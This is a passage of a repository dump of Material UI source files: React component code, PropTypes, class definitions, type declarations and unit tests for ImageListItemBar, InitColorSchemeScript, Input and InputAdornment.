textOverflow: 'ellipsis',\n      overflow: 'hidden',\n      whiteSpace: 'nowrap',\n    };\n  }),\n);\n\nconst ImageListItemBarSubtitle = styled('div', {\n  name: 'MuiImageListItemBar',\n  slot: 'Subtitle',\n})(\n  memoTheme(({ theme }) => {\n    return {\n      fontSize: theme.typography.pxToRem(12),\n      lineHeight: 1,\n      textOverflow: 'ellipsis',\n      overflow: 'hidden',\n      whiteSpace: 'nowrap',\n    };\n  }),\n);\n\nconst ImageListItemBarActionIcon = styled('div', {\n  name: 'MuiImageListItemBar',\n  slot: 'ActionIcon',\n})({\n  variants: [\n    {\n      props: {\n        actionPosition: 'left',\n      },\n      style: {\n        order: -1,\n      },\n    },\n  ],\n});\n\nconst ImageListItemBar = React.forwardRef(function ImageListItemBar(inProps, ref) {\n  const props = useDefaultProps({\n    props: inProps,\n    name: 'MuiImageListItemBar',\n  });\n\n  const {\n    actionIcon,\n    actionPosition = 'right',\n    className,\n    subtitle,\n    title,\n    position = 'bottom',\n    ...other\n  } = props;\n\n  const ownerState = { ...props, position, actionPosition };\n\n  const classes = useUtilityClasses(ownerState);\n\n  return (\n    <ImageListItemBarRoot\n      ownerState={ownerState}\n      className={clsx(classes.root, className)}\n      ref={ref}\n      {...other}\n    >\n      <ImageListItemBarTitleWrap ownerState={ownerState} className={classes.titleWrap}>\n        <ImageListItemBarTitle className={classes.title}>{title}</ImageListItemBarTitle>\n        {subtitle ? (\n          <ImageListItemBarSubtitle className={classes.subtitle}>\n            {subtitle}\n          </ImageListItemBarSubtitle>\n        ) : null}\n      </ImageListItemBarTitleWrap>\n      {actionIcon ? (\n        <ImageListItemBarActionIcon ownerState={ownerState} className={classes.actionIcon}>\n          {actionIcon}\n        </ImageListItemBarActionIcon>\n      ) : null}\n    </ImageListItemBarRoot>\n  );\n});\n\nImageListItemBar.propTypes /* remove-proptypes */ = {\n  // ┌────────────────────────────── Warning ──────────────────────────────┐\n  // │ These PropTypes are generated from the TypeScript type definitions. │\n  // │    To update them, edit the d.ts file and run `pnpm proptypes`.     │\n  // └─────────────────────────────────────────────────────────────────────┘\n  /**\n   * An IconButton element to be used as secondary action target\n   * (primary action target is the item itself).\n   */\n  actionIcon: PropTypes.node,\n  /**\n   * Position of secondary action IconButton.\n   * @default 'right'\n   */\n  actionPosition: PropTypes.oneOf(['left', 'right']),\n  /**\n   * @ignore\n   */\n  children: PropTypes.node,\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes: PropTypes.object,\n  /**\n   * @ignore\n   */\n  className: PropTypes.string,\n  /**\n   * Position of the title bar.\n   * @default 'bottom'\n   */\n  position: PropTypes.oneOf(['below', 'bottom', 'top']),\n  /**\n   * String or element serving as subtitle (support text).\n   */\n  subtitle: PropTypes.node,\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx: PropTypes.oneOfType([\n    PropTypes.arrayOf(PropTypes.oneOfType([PropTypes.func, PropTypes.object, PropTypes.bool])),\n    PropTypes.func,\n    PropTypes.object,\n  ]),\n  /**\n   * Title to be displayed.\n   */\n  title: PropTypes.node,\n};\n\nexport default ImageListItemBar;\n"
  },
  {
    "path": "packages/mui-material/src/ImageListItemBar/ImageListItemBar.test.js",
    "content": "import { expect } from 'chai';\nimport { createRenderer } from '@mui/internal-test-utils';\nimport ImageListItemBar, {\n  imageListItemBarClasses as classes,\n} from '@mui/material/ImageListItemBar';\nimport describeConformance from '../../test/describeConformance';\n\ndescribe('<ImageListItemBar />', () => {\n  const { render } = createRenderer();\n\n  describeConformance(<ImageListItemBar title=\"conform?\" />, () => ({\n    classes,\n    inheritComponent: 'div',\n    render,\n    refInstanceof: window.HTMLDivElement,\n    muiName: 'MuiImageListItemBar',\n    testDeepOverrides: { slotName: 'titleWrap', slotClassName: classes.titleWrap },\n    testVariantProps: { position: 'top', actionPosition: 'left' },\n    skip: ['componentProp'],\n  }));\n\n  const itemData = {\n    img: '/fake.png',\n    title: 'Breakfast',\n    author: 'jill111',\n  };\n\n  describe('props:', () => {\n    describe('prop: title', () => {\n      it('should render a title', () => {\n        const { container } = render(<ImageListItemBar title={itemData.title} />);\n\n        expect(container.querySelector('div')).to.have.text(itemData.title);\n      });\n    });\n\n    describe('prop: subtitle', () => {\n      it('should render a subtitle', () => {\n        const { container } = render(<ImageListItemBar subtitle={itemData.author} />);\n\n        expect(container.querySelector('div')).to.have.text(itemData.author);\n      });\n    });\n\n    describe('prop:actionPosition', () => {\n      it('should render the actionPositionLeft class', () => {\n        const { container } = render(<ImageListItemBar title=\"text\" actionPosition=\"left\" />);\n\n        expect(container.querySelector('div')).to.have.class(classes.root);\n        expect(container.querySelector('div')).to.have.class(classes.actionPositionLeft);\n      });\n\n      it('should render the actionPositionRight class', () => {\n        const { container } = render(<ImageListItemBar title=\"text\" actionPosition=\"right\" />);\n\n        expect(container.querySelector('div')).to.have.class(classes.root);\n        expect(container.querySelector('div')).to.have.class(classes.actionPositionRight);\n      });\n    });\n\n    describe('prop: position', () => {\n      describe('position=\"top\"', () => {\n        it('should render the positionTop class', () => {\n          const { container } = render(<ImageListItemBar title=\"text\" position=\"top\" />);\n\n          expect(container.querySelector('div')).to.have.class(classes.root);\n          expect(container.querySelector('div')).to.have.class(classes.positionTop);\n        });\n      });\n\n      describe('position=\"below\"', () => {\n        it('should render the positionBelow class', () => {\n          const { container } = render(<ImageListItemBar title=\"text\" position=\"below\" />);\n\n          expect(container.querySelector('div')).to.have.class(classes.root);\n          expect(container.querySelector('div')).to.have.class(classes.positionBelow);\n        });\n\n        it('should render the titleWrap class and positionBelow on the root', () => {\n          const { container } = render(<ImageListItemBar title=\"text\" position=\"below\" />);\n\n          expect(container.querySelector('div')).to.have.class(classes.positionBelow);\n          expect(container.firstChild.querySelector('div')).to.have.class(classes.titleWrap);\n        });\n      });\n    });\n\n    describe('prop: actionPosition', () => {\n      it('should render the titleWrap class and actionPositionLeft on the root', () => {\n        const { container } = render(\n          <ImageListItemBar title=\"text\" actionIcon={<div />} actionPosition=\"left\" />,\n        );\n\n        expect(container.querySelector('div')).to.have.class(classes.actionPositionLeft);\n        expect(container.firstChild.querySelector('div')).to.have.class(classes.titleWrap);\n      });\n    });\n  });\n\n  describe('classes:', () => {\n    it('should render with the root and positionBottom classes by default', () => {\n      const { container } = render(<ImageListItemBar title=\"text\" />);\n\n      expect(container.querySelector('div')).to.have.class(classes.root);\n      expect(container.querySelector('div')).to.have.class(classes.positionBottom);\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-material/src/ImageListItemBar/imageListItemBarClasses.ts",
    "content": "import generateUtilityClasses from '@mui/utils/generateUtilityClasses';\nimport generateUtilityClass from '@mui/utils/generateUtilityClass';\n\nexport interface ImageListItemBarClasses {\n  /** Styles applied to the root element. */\n  root: string;\n  /** Styles applied to the root element if `position=\"bottom\"`. */\n  positionBottom: string;\n  /** Styles applied to the root element if `position=\"top\"`. */\n  positionTop: string;\n  /** Styles applied to the root element if `position=\"below\"`. */\n  positionBelow: string;\n  /** Styles applied to the action container element if `actionPosition=\"left\"`. */\n  actionPositionLeft: string;\n  /** Styles applied to the action container element if `actionPosition=\"right\"`. */\n  actionPositionRight: string;\n  /** Styles applied to the title and subtitle container element. */\n  titleWrap: string;\n  /** Styles applied to the title container element. */\n  title: string;\n  /** Styles applied to the subtitle container element. */\n  subtitle: string;\n  /** Styles applied to the actionIcon if supplied. */\n  actionIcon: string;\n}\n\nexport type ImageListItemBarClassKey = keyof ImageListItemBarClasses;\n\nexport function getImageListItemBarUtilityClass(slot: string): string {\n  return generateUtilityClass('MuiImageListItemBar', slot);\n}\n\nconst imageListItemBarClasses: ImageListItemBarClasses = generateUtilityClasses(\n  'MuiImageListItemBar',\n  [\n    'root',\n    'positionBottom',\n    'positionTop',\n    'positionBelow',\n    'actionPositionLeft',\n    'actionPositionRight',\n    'titleWrap',\n    'title',\n    'subtitle',\n    'actionIcon',\n  ],\n);\n\nexport default imageListItemBarClasses;\n"
  },
  {
    "path": "packages/mui-material/src/ImageListItemBar/index.d.ts",
    "content": "export { default } from './ImageListItemBar';\nexport * from './ImageListItemBar';\n\nexport * from './imageListItemBarClasses';\nexport { default as imageListItemBarClasses } from './imageListItemBarClasses';\n"
  },
  {
    "path": "packages/mui-material/src/ImageListItemBar/index.js",
    "content": "export { default } from './ImageListItemBar';\n\nexport * from './imageListItemBarClasses';\nexport { default as imageListItemBarClasses } from './imageListItemBarClasses';\n"
  },
  {
    "path": "packages/mui-material/src/InitColorSchemeScript/InitColorSchemeScript.spec.tsx",
    "content": "import InitColorSchemeScript from '@mui/material/InitColorSchemeScript';\n\n<InitColorSchemeScript nonce=\"foo-bar\" />;\n"
  },
  {
    "path": "packages/mui-material/src/InitColorSchemeScript/InitColorSchemeScript.test.tsx",
    "content": "import { expect } from 'chai';\nimport { createRenderer } from '@mui/internal-test-utils';\nimport InitColorSchemeScript from '@mui/material/InitColorSchemeScript';\n\ndescribe('InitColorSchemeScript', () => {\n  const { render } = createRenderer();\n\n  it('should render as expected', () => {\n    const { container } = render(<InitColorSchemeScript />);\n    expect(container.firstChild).to.have.tagName('script');\n  });\n});\n"
  },
  {
    "path": "packages/mui-material/src/InitColorSchemeScript/InitColorSchemeScript.tsx",
    "content": "import PropTypes from 'prop-types';\nimport SystemInitColorSchemeScript from '@mui/system/InitColorSchemeScript';\n\nexport const defaultConfig = {\n  attribute: 'data-mui-color-scheme',\n  colorSchemeStorageKey: 'mui-color-scheme',\n  defaultLightColorScheme: 'light',\n  defaultDarkColorScheme: 'dark',\n  modeStorageKey: 'mui-mode',\n} as const;\n\nexport interface InitColorSchemeScriptProps {\n  /**\n   * The default mode when the storage is empty (user's first visit).\n   * @default 'system'\n   */\n  defaultMode?: 'system' | 'light' | 'dark' | undefined;\n  /**\n   * The default color scheme to be used in light mode.\n   * @default 'light'\n   */\n  defaultLightColorScheme?: string | undefined;\n  /**\n   * The default color scheme to be used in dark mode.\n   * @default 'dark'\n   */\n  defaultDarkColorScheme?: string | undefined;\n  /**\n   * The node (provided as string) used to attach the color-scheme attribute.\n   * @default 'document.documentElement'\n   */\n  colorSchemeNode?: string | undefined;\n  /**\n   * localStorage key used to store `mode`.\n   * @default 'mui-mode'\n   */\n  modeStorageKey?: string | undefined;\n  /**\n   * localStorage key used to store `colorScheme`.\n   * @default 'mui-color-scheme'\n   */\n  colorSchemeStorageKey?: string | undefined;\n  /**\n   * DOM attribute for applying a color scheme.\n   * @default 'data-mui-color-scheme'\n   * @example '.mode-%s' // for class based color scheme\n   * @example '[data-mode-%s]' // for data-attribute without '='\n   */\n  attribute?: 'class' | 'data' | string | undefined;\n  /**\n   * Nonce string to pass to the inline script for CSP headers.\n   */\n  nonce?: string | undefined;\n}\n/**\n *\n * Demos:\n *\n * - [InitColorSchemeScript](https://next.mui.com/material-ui/react-init-color-scheme-script/)\n *\n * API:\n *\n * - [InitColorSchemeScript API](https://next.mui.com/material-ui/api/init-color-scheme-script/)\n */\nfunction InitColorSchemeScript(props: InitColorSchemeScriptProps) {\n  const {\n    defaultMode = 'system',\n    defaultLightColorScheme = defaultConfig.defaultLightColorScheme,\n    defaultDarkColorScheme = defaultConfig.defaultDarkColorScheme,\n    modeStorageKey = defaultConfig.modeStorageKey,\n    colorSchemeStorageKey = defaultConfig.colorSchemeStorageKey,\n    attribute: initialAttribute = defaultConfig.attribute,\n    colorSchemeNode = 'document.documentElement',\n    nonce,\n  } = props;\n  return (\n    <SystemInitColorSchemeScript\n      defaultMode={defaultMode}\n      defaultLightColorScheme={defaultLightColorScheme}\n      defaultDarkColorScheme={defaultDarkColorScheme}\n      modeStorageKey={modeStorageKey}\n      colorSchemeStorageKey={colorSchemeStorageKey}\n      attribute={initialAttribute}\n      colorSchemeNode={colorSchemeNode}\n      nonce={nonce}\n    />\n  );\n}\n\nInitColorSchemeScript.propTypes /* remove-proptypes */ = {\n  // ┌────────────────────────────── Warning ──────────────────────────────┐\n  // │ These PropTypes are generated from the TypeScript type definitions. │\n  // │ To update them, edit the TypeScript types and run `pnpm proptypes`. │\n  // └─────────────────────────────────────────────────────────────────────┘\n  /**\n   * DOM attribute for applying a color scheme.\n   * @default 'data-mui-color-scheme'\n   * @example '.mode-%s' // for class based color scheme\n   * @example '[data-mode-%s]' // for data-attribute without '='\n   */\n  attribute: PropTypes.string,\n  /**\n   * The node (provided as string) used to attach the color-scheme attribute.\n   * @default 'document.documentElement'\n   */\n  colorSchemeNode: PropTypes.string,\n  /**\n   * localStorage key used to store `colorScheme`.\n   * @default 'mui-color-scheme'\n   */\n  colorSchemeStorageKey: PropTypes.string,\n  /**\n   * The default color scheme to be used in dark mode.\n   * @default 'dark'\n   */\n  defaultDarkColorScheme: PropTypes.string,\n  /**\n   * The default color scheme to be used in light mode.\n   * @default 'light'\n   */\n  defaultLightColorScheme: PropTypes.string,\n  /**\n   * The default mode when the storage is empty (user's first visit).\n   * @default 'system'\n   */\n  defaultMode: PropTypes.oneOf(['dark', 'light', 'system']),\n  /**\n   * localStorage key used to store `mode`.\n   * @default 'mui-mode'\n   */\n  modeStorageKey: PropTypes.string,\n  /**\n   * Nonce string to pass to the inline script for CSP headers.\n   */\n  nonce: PropTypes.string,\n} as any;\n\nexport default InitColorSchemeScript;\n"
  },
  {
    "path": "packages/mui-material/src/InitColorSchemeScript/index.ts",
    "content": "export { default } from './InitColorSchemeScript';\n"
  },
  {
    "path": "packages/mui-material/src/Input/Input.d.ts",
    "content": "import { SxProps } from '@mui/system';\nimport { Theme } from '../styles';\nimport { InternalStandardProps as StandardProps } from '../internal';\nimport { InputBaseProps } from '../InputBase';\nimport { InputClasses } from './inputClasses';\n\nexport interface InputProps extends StandardProps<InputBaseProps> {\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes?: Partial<InputClasses> | undefined;\n  /**\n   * If `true`, the `input` will not have an underline.\n   * @default false\n   */\n  disableUnderline?: boolean | undefined;\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx?: SxProps<Theme> | undefined;\n}\n\n/**\n *\n * Demos:\n *\n * - [Text Field](https://next.mui.com/material-ui/react-text-field/)\n *\n * API:\n *\n * - [Input API](https://next.mui.com/material-ui/api/input/)\n * - inherits [InputBase API](https://next.mui.com/material-ui/api/input-base/)\n */\ndeclare const Input: ((props: InputProps) => React.JSX.Element) & { muiName: string };\n\nexport default Input;\n"
  },
  {
    "path": "packages/mui-material/src/Input/Input.js",
    "content": "'use client';\nimport * as React from 'react';\nimport PropTypes from 'prop-types';\nimport composeClasses from '@mui/utils/composeClasses';\nimport deepmerge from '@mui/utils/deepmerge';\nimport refType from '@mui/utils/refType';\nimport InputBase from '../InputBase';\nimport rootShouldForwardProp from '../styles/rootShouldForwardProp';\nimport { styled } from '../zero-styled';\nimport memoTheme from '../utils/memoTheme';\nimport createSimplePaletteValueFilter from '../utils/createSimplePaletteValueFilter';\nimport { useDefaultProps } from '../DefaultPropsProvider';\nimport inputLabelClasses from '../InputLabel/inputLabelClasses';\nimport inputClasses, { getInputUtilityClass } from './inputClasses';\nimport {\n  rootOverridesResolver as inputBaseRootOverridesResolver,\n  inputOverridesResolver as inputBaseInputOverridesResolver,\n  InputBaseRoot,\n  InputBaseInput,\n} from '../InputBase/InputBase';\n\nconst useUtilityClasses = (ownerState) => {\n  const { classes, disableUnderline } = ownerState;\n\n  const slots = {\n    root: ['root', !disableUnderline && 'underline'],\n    input: ['input'],\n  };\n\n  const composedClasses = composeClasses(slots, getInputUtilityClass, classes);\n\n  return {\n    ...classes, // forward classes to the InputBase\n    ...composedClasses,\n  };\n};\n\nconst InputRoot = styled(InputBaseRoot, {\n  shouldForwardProp: (prop) => rootShouldForwardProp(prop) || prop === 'classes',\n  name: 'MuiInput',\n  slot: 'Root',\n  overridesResolver: (props, styles) => {\n    const { ownerState } = props;\n\n    return [\n      ...inputBaseRootOverridesResolver(props, styles),\n      !ownerState.disableUnderline && styles.underline,\n    ];\n  },\n})(\n  memoTheme(({ theme }) => {\n    const light = theme.palette.mode === 'light';\n    let bottomLineColor = light ? 'rgba(0, 0, 0, 0.42)' : 'rgba(255, 255, 255, 0.7)';\n    if (theme.vars) {\n      bottomLineColor = theme.alpha(\n        theme.vars.palette.common.onBackground,\n        theme.vars.opacity.inputUnderline,\n      );\n    }\n    return {\n      position: 'relative',\n      variants: [\n        {\n          props: ({ ownerState }) => ownerState.formControl,\n          style: {\n            [`label + &, .${inputLabelClasses.root} + &`]: {\n              marginTop: 16,\n            },\n          },\n        },\n        {\n          props: ({ ownerState }) => !ownerState.disableUnderline,\n          style: {\n            '&::after': {\n              left: 0,\n              bottom: 0,\n              content: '\"\"',\n              position: 'absolute',\n              right: 0,\n              transform: 'scaleX(0)',\n              transition: theme.transitions.create('transform', {\n                duration: theme.transitions.duration.shorter,\n                easing: theme.transitions.easing.easeOut,\n              }),\n              pointerEvents: 'none', // Transparent to the hover style.\n            },\n            [`&.${inputClasses.focused}:after`]: {\n              // translateX(0) is a workaround for Safari transform scale bug\n              // See https://github.com/mui/material-ui/issues/31766\n              transform: 'scaleX(1) translateX(0)',\n            },\n            [`&.${inputClasses.error}`]: {\n              '&::before, &::after': {\n                borderBottomColor: (theme.vars || theme).palette.error.main,\n              },\n            },\n            '&::before': {\n              borderBottom: `1px solid ${bottomLineColor}`,\n              left: 0,\n              bottom: 0,\n              content: '\"\"',\n              position: 'absolute',\n              right: 0,\n              transition: theme.transitions.create('border-bottom-color', {\n                duration: theme.transitions.duration.shorter,\n              }),\n              pointerEvents: 'none', // Transparent to the hover style.\n            },\n            [`&:hover:not(.${inputClasses.disabled}, .${inputClasses.error}):before`]: {\n              borderBottom: `2px solid ${(theme.vars || theme).palette.text.primary}`,\n              // Reset on touch devices, it doesn't add specificity\n              '@media (hover: none)': {\n                borderBottom: `1px solid ${bottomLineColor}`,\n              },\n            },\n            [`&.${inputClasses.disabled}:before`]: {\n              borderBottomStyle: 'dotted',\n            },\n          },\n        },\n        ...Object.entries(theme.palette)\n          .filter(createSimplePaletteValueFilter())\n          .map(([color]) => ({\n            props: { color, disableUnderline: false },\n            style: {\n              '&::after': {\n                borderBottom: `2px solid ${(theme.vars || theme).palette[color].main}`,\n              },\n            },\n          })),\n      ],\n    };\n  }),\n);\n\nconst InputInput = styled(InputBaseInput, {\n  name: 'MuiInput',\n  slot: 'Input',\n  overridesResolver: inputBaseInputOverridesResolver,\n})({});\n\nconst Input = React.forwardRef(function Input(inProps, ref) {\n  const props = useDefaultProps({ props: inProps, name: 'MuiInput' });\n  const {\n    disableUnderline = false,\n    fullWidth = false,\n    inputComponent = 'input',\n    multiline = false,\n    slotProps,\n    slots = {},\n    type = 'text',\n    ...other\n  } = props;\n\n  const classes = useUtilityClasses(props);\n\n  const ownerState = { disableUnderline };\n  const inputComponentsProps = { root: { ownerState } };\n\n  const componentsProps = slotProps\n    ? deepmerge(slotProps, inputComponentsProps)\n    : inputComponentsProps;\n\n  const RootSlot = slots.root ?? InputRoot;\n  const InputSlot = slots.input ?? InputInput;\n\n  return (\n    <InputBase\n      slots={{ root: RootSlot, input: InputSlot }}\n      slotProps={componentsProps}\n      fullWidth={fullWidth}\n      inputComponent={inputComponent}\n      multiline={multiline}\n      ref={ref}\n      type={type}\n      {...other}\n      classes={classes}\n    />\n  );\n});\n\nInput.propTypes /* remove-proptypes */ = {\n  // ┌────────────────────────────── Warning ──────────────────────────────┐\n  // │ These PropTypes are generated from the TypeScript type definitions. │\n  // │    To update them, edit the d.ts file and run `pnpm proptypes`.     │\n  // └─────────────────────────────────────────────────────────────────────┘\n  /**\n   * This prop helps users to fill forms faster, especially on mobile devices.\n   * The name can be confusing, as it's more like an autofill.\n   * You can learn more about it [following the specification](https://html.spec.whatwg.org/multipage/form-control-infrastructure.html#autofill).\n   */\n  autoComplete: PropTypes.string,\n  /**\n   * If `true`, the `input` element is focused during the first mount.\n   */\n  autoFocus: PropTypes.bool,\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes: PropTypes.object,\n  /**\n   * The color of the component.\n   * It supports both default and custom theme colors, which can be added as shown in the\n   * [palette customization guide](https://mui.com/material-ui/customization/palette/#custom-colors).\n   * The prop defaults to the value (`'primary'`) inherited from the parent FormControl component.\n   */\n  color: PropTypes /* @typescript-to-proptypes-ignore */.oneOfType([\n    PropTypes.oneOf(['primary', 'secondary']),\n    PropTypes.string,\n  ]),\n  /**\n   * The default value. Use when the component is not controlled.\n   */\n  defaultValue: PropTypes.any,\n  /**\n   * If `true`, the component is disabled.\n   * The prop defaults to the value (`false`) inherited from the parent FormControl component.\n   */\n  disabled: PropTypes.bool,\n  /**\n   * If `true`, the `input` will not have an underline.\n   * @default false\n   */\n  disableUnderline: PropTypes.bool,\n  /**\n   * End `InputAdornment` for this component.\n   */\n  endAdornment: PropTypes.node,\n  /**\n   * If `true`, the `input` will indicate an error.\n   * The prop defaults to the value (`false`) inherited from the parent FormControl component.\n   */\n  error: PropTypes.bool,\n  /**\n   * If `true`, the `input` will take up the full width of its container.\n   * @default false\n   */\n  fullWidth: PropTypes.bool,\n  /**\n   * The id of the `input` element.\n   */\n  id: PropTypes.string,\n  /**\n   * The component used for the `input` element.\n   * Either a string to use a HTML element or a component.\n   * @default 'input'\n   */\n  inputComponent: PropTypes.elementType,\n  /**\n   * [Attributes](https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Elements/input#attributes) applied to the `input` element.\n   * @default {}\n   */\n  inputProps: PropTypes.object,\n  /**\n   * Pass a ref to the `input` element.\n   */\n  inputRef: refType,\n  /**\n   * If `dense`, will adjust vertical spacing. This is normally obtained via context from\n   * FormControl.\n   * The prop defaults to the value (`'none'`) inherited from the parent FormControl component.\n   */\n  margin: PropTypes.oneOf(['dense', 'none']),\n  /**\n   * Maximum number of rows to display when multiline option is set to true.\n   */\n  maxRows: PropTypes.oneOfType([PropTypes.number, PropTypes.string]),\n  /**\n   * Minimum number of rows to display when multiline option is set to true.\n   */\n  minRows: PropTypes.oneOfType([PropTypes.number, PropTypes.string]),\n  /**\n   * If `true`, a [TextareaAutosize](https://mui.com/material-ui/react-textarea-autosize/) element is rendered.\n   * @default false\n   */\n  multiline: PropTypes.bool,\n  /**\n   * Name attribute of the `input` element.\n   */\n  name: PropTypes.string,\n  /**\n   * Callback fired when the value is changed.\n   *\n   * @param {React.ChangeEvent<HTMLTextAreaElement | HTMLInputElement>} event The event source of the callback.\n   * You can pull out the new value by accessing `event.target.value` (string).\n   */\n  onChange: PropTypes.func,\n  /**\n   * The short hint displayed in the `input` before the user enters a value.\n   */\n  placeholder: PropTypes.string,\n  /**\n   * It prevents the user from changing the value of the field\n   * (not from interacting with the field).\n   */\n  readOnly: PropTypes.bool,\n  /**\n   * If `true`, the `input` element is required.\n   * The prop defaults to the value (`false`) inherited from the parent FormControl component.\n   */\n  required: PropTypes.bool,\n  /**\n   * Number of rows to display when multiline option is set to true.\n   */\n  rows: PropTypes.oneOfType([PropTypes.number, PropTypes.string]),\n  /**\n   * The extra props for the slot components.\n   * You can override the existing props or add new ones.\n   *\n   * @default {}\n   */\n  slotProps: PropTypes.shape({\n    input: PropTypes.object,\n    root: PropTypes.object,\n  }),\n  /**\n   * The components used for each slot inside.\n   *\n   * @default {}\n   */\n  slots: PropTypes.shape({\n    input: PropTypes.elementType,\n    root: PropTypes.elementType,\n  }),\n  /**\n   * Start `InputAdornment` for this component.\n   */\n  startAdornment: PropTypes.node,\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx: PropTypes.oneOfType([\n    PropTypes.arrayOf(PropTypes.oneOfType([PropTypes.func, PropTypes.object, PropTypes.bool])),\n    PropTypes.func,\n    PropTypes.object,\n  ]),\n  /**\n   * Type of the `input` element. It should be [a valid HTML5 input type](https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Elements/input#input_types).\n   * @default 'text'\n   */\n  type: PropTypes.string,\n  /**\n   * The value of the `input` element, required for a controlled component.\n   */\n  value: PropTypes.any,\n};\n\nInput.muiName = 'Input';\n\nexport default Input;\n"
  },
  {
    "path": "packages/mui-material/src/Input/Input.test.js",
    "content": "import { expect } from 'chai';\nimport { createRenderer } from '@mui/internal-test-utils';\nimport InputBase from '@mui/material/InputBase';\nimport Input, { inputClasses as classes } from '@mui/material/Input';\nimport describeConformance from '../../test/describeConformance';\n\ndescribe('<Input />', () => {\n  const { render } = createRenderer();\n\n  describeConformance(<Input />, () => ({\n    classes,\n    inheritComponent: InputBase,\n    render,\n    refInstanceof: window.HTMLDivElement,\n    muiName: 'MuiInput',\n    testDeepOverrides: { slotName: 'input', slotClassName: classes.input },\n    testVariantProps: { variant: 'contained', fullWidth: true },\n    testStateOverrides: { prop: 'size', value: 'small', styleKey: 'sizeSmall' },\n    slots: {\n      // can't test with DOM element as Input places an ownerState prop on it unconditionally.\n      root: { expectedClassName: classes.root, testWithElement: null },\n      input: { expectedClassName: classes.input, testWithElement: null },\n    },\n    skip: [\n      'componentProp',\n      'slotPropsCallback', // not supported yet\n      'slotPropsCallbackWithPropsAsOwnerState', // not supported yet\n    ],\n  }));\n\n  it('should forward classes to InputBase', () => {\n    render(<Input error classes={{ error: 'error' }} />);\n    expect(document.querySelector('.error')).not.to.equal(null);\n  });\n\n  it('should respect the slotProps if passed', () => {\n    render(<Input slotProps={{ root: { 'data-test': 'test' } }} />);\n    expect(document.querySelector('[data-test=test]')).not.to.equal(null);\n  });\n\n  it('should respect the classes coming from InputBase', () => {\n    render(\n      <Input data-test=\"test\" multiline sx={{ [`&.${classes.multiline}`]: { mt: '10px' } }} />,\n    );\n    expect(document.querySelector('[data-test=test]')).toHaveComputedStyle({ marginTop: '10px' });\n  });\n});\n"
  },
  {
    "path": "packages/mui-material/src/Input/index.d.ts",
    "content": "export { default } from './Input';\nexport * from './Input';\nexport { default as inputClasses } from './inputClasses';\nexport * from './inputClasses';\n"
  },
  {
    "path": "packages/mui-material/src/Input/index.js",
    "content": "export { default } from './Input';\nexport { default as inputClasses } from './inputClasses';\nexport * from './inputClasses';\n"
  },
  {
    "path": "packages/mui-material/src/Input/inputClasses.ts",
    "content": "import generateUtilityClasses from '@mui/utils/generateUtilityClasses';\nimport generateUtilityClass from '@mui/utils/generateUtilityClass';\nimport { inputBaseClasses } from '../InputBase';\n\nexport interface InputClasses {\n  /** Styles applied to the root element. */\n  root: string;\n  /** Styles applied to the root element if the component is a descendant of `FormControl`. */\n  formControl: string;\n  /** Styles applied to the root element if the component is focused. */\n  focused: string;\n  /** Styles applied to the root element if `disabled={true}`. */\n  disabled: string;\n  /** Styles applied to the root element if color secondary. */\n  colorSecondary: string;\n  /** Styles applied to the root element unless `disableUnderline={true}`. */\n  underline: string;\n  /** State class applied to the root element if `error={true}`. */\n  error: string;\n  /** Styles applied to the input element if `size=\"small\"`. */\n  sizeSmall: string;\n  /** Styles applied to the root element if `multiline={true}`. */\n  multiline: string;\n  /** Styles applied to the root element if `fullWidth={true}`. */\n  fullWidth: string;\n  /** Styles applied to the input element. */\n  input: string;\n  /** Styles applied to the input element if `type=\"search\"`. */\n  inputTypeSearch: string;\n}\n\nexport type InputClassKey = keyof InputClasses;\n\nexport function getInputUtilityClass(slot: string): string {\n  return generateUtilityClass('MuiInput', slot);\n}\n\nconst inputClasses: InputClasses = {\n  ...inputBaseClasses,\n  ...generateUtilityClasses('MuiInput', ['root', 'underline', 'input']),\n};\n\nexport default inputClasses;\n"
  },
  {
    "path": "packages/mui-material/src/InputAdornment/InputAdornment.d.ts",
    "content": "import * as React from 'react';\nimport { SxProps } from '@mui/system';\nimport { OverridableComponent, OverrideProps } from '../OverridableComponent';\nimport { Theme } from '../styles';\nimport { InputAdornmentClasses } from './inputAdornmentClasses';\n\nexport interface InputAdornmentOwnProps {\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes?: Partial<InputAdornmentClasses> | undefined;\n  /**\n   * The content of the component, normally an `IconButton` or string.\n   */\n  children?: React.ReactNode;\n  /**\n   * Disable pointer events on the root.\n   * This allows for the content of the adornment to focus the `input` on click.\n   * @default false\n   */\n  disablePointerEvents?: boolean | undefined;\n  /**\n   * If children is a string then disable wrapping in a Typography component.\n   * @default false\n   */\n  disableTypography?: boolean | undefined;\n  /**\n   * The position this adornment should appear relative to the `Input`.\n   */\n  position: 'start' | 'end';\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx?: SxProps<Theme> | undefined;\n  /**\n   * The variant to use.\n   * Note: If you are using the `TextField` component or the `FormControl` component\n   * you do not have to set this manually.\n   */\n  variant?: 'standard' | 'outlined' | 'filled' | undefined;\n}\n\nexport interface InputAdornmentTypeMap<\n  AdditionalProps = {},\n  RootComponent extends React.ElementType = 'div',\n> {\n  props: AdditionalProps & InputAdornmentOwnProps;\n  defaultComponent: RootComponent;\n}\n/**\n *\n * Demos:\n *\n * - [Text Field](https://next.mui.com/material-ui/react-text-field/)\n *\n * API:\n *\n * - [InputAdornment API](https://next.mui.com/material-ui/api/input-adornment/)\n */\ndeclare const InputAdornment: OverridableComponent<InputAdornmentTypeMap>;\n\nexport type InputAdornmentProps<\n  RootComponent extends React.ElementType = InputAdornmentTypeMap['defaultComponent'],\n  AdditionalProps = {},\n> = OverrideProps<InputAdornmentTypeMap<AdditionalProps, RootComponent>, RootComponent> & {\n  component?: React.ElementType | undefined;\n};\n\nexport default InputAdornment;\n"
  },
  {
    "path": "packages/mui-material/src/InputAdornment/InputAdornment.js",
